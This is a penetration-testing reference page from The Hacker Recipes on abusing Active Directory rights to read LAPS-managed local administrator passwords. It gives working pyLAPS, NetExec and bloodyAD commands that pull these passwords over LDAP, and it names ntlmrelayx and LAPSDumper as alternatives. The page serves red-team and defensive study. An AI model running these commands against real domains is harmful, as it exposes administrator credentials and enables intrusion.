The Hacker Recipes

ReadLAPSPassword ​

This abuse can be carried out when controlling an object that has GenericAll or AllExtendedRights (or combination of GetChanges and (GetChangesInFilteredSet or GetChangesAll) for domain-wise synchronization) over the target computer configured for LAPS. The attacker can then read the LAPS password of the computer account (i.e. the password of the computer's local administrator).

From UNIX-like systems, pyLAPS (Python) can be used to retrieve LAPS passwords.

bash
pyLAPS.py --action get -d "$DOMAIN" -u "$USER" -p "$PASSWORD" --dc-ip "$DC_IP"

Alternatively, NetExec also has this ability. In case it doesn't work this public module for CrackMapExec could also be used.

bash
# Default command
nxc ldap "$DC_HOST" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" --module laps

# The COMPUTER filter can be the name or wildcard (e.g. WIN-S10, WIN-* etc. Default: *)
nxc ldap "$DC_HOST" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" --module laps -O computer="target-*"

Impacket's ntlmrelayx also carries that feature, usable with the --dump-laps.

LAPSDumper is another Python alternative.

Alternatively, it can be achieved using bloodyAD

bash
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
